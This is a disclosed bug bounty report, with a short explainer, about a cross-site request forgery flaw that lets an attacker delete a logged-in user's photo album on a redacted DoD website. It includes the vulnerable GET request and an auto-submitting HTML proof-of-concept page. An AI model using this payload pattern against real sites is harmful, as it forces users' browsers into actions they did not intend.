CSRF Attack leads to delete album at
The album deletion endpoint lacked CSRF protection and accepted GET requests, so an attacker could make a logged-in user's browser delete an album without consent. The attacker only needed to know the album identifier and get the victim to load a crafted page.
Originally disclosed on HackerOne
- Triaged in 3 hours
- Fixed in 44 days
- Disclosed after 4 months
Description:
Through research, I discovered a CSRF vulnerability in one of the DoD asset. www.████████
There is a feature to create albums for a collection of media such as photos and videos. While performing some actions on it, I found that there is no CSRF verification when deleting albums. Additionally, the delete request is based on GET, So it'll more easier for an attacker to exploit it..
Vulnerable Request
GET /mediagallery/delete/id/{album-id} HTTP/2
Host: www.██████
Cookie: {YOUR-SESSSION}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: https://www.█████████/mediagallery/index
References
- Here is the detailed Video PoC
████
Impact
- CSRF Attack
- Delete users album
System Host(s)
www.█████
Affected Product(s) and Version(s)
CVE Numbers
Steps to Reproduce
1 - Create an account on www.███████
2 - Navigate to https://www.█████████/search?filter[type]=image , and click on the below icon to create an album.
████████
3 - Here is the CSRF PoC exploit.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://www.█████/mediagallery/delete/id/{album-id}">
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
4 - Replace the {album-id} with your actual album-id
Suggested Mitigation/Remediation Actions
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could cause a logged-in user to delete their album without the user's intent.
What the attacker needed
Victim has an account and is logged in; attacker knows the album identifier; victim visits attacker-controlled page
How it was found
- Create an account on the target site.
- Navigate to the image search page and create an album.
- Use the provided CSRF proof-of-concept page that submits a form to the delete endpoint.
- Replace the album identifier placeholder with the actual album identifier.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Websites often rely on the browser automatically sending a user's login cookie with every request. If a sensitive action like deleting an album can be triggered by a simple link or form submission, another site can make the user's browser perform that action without the user realising. This is called cross-site request forgery (CSRF).
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.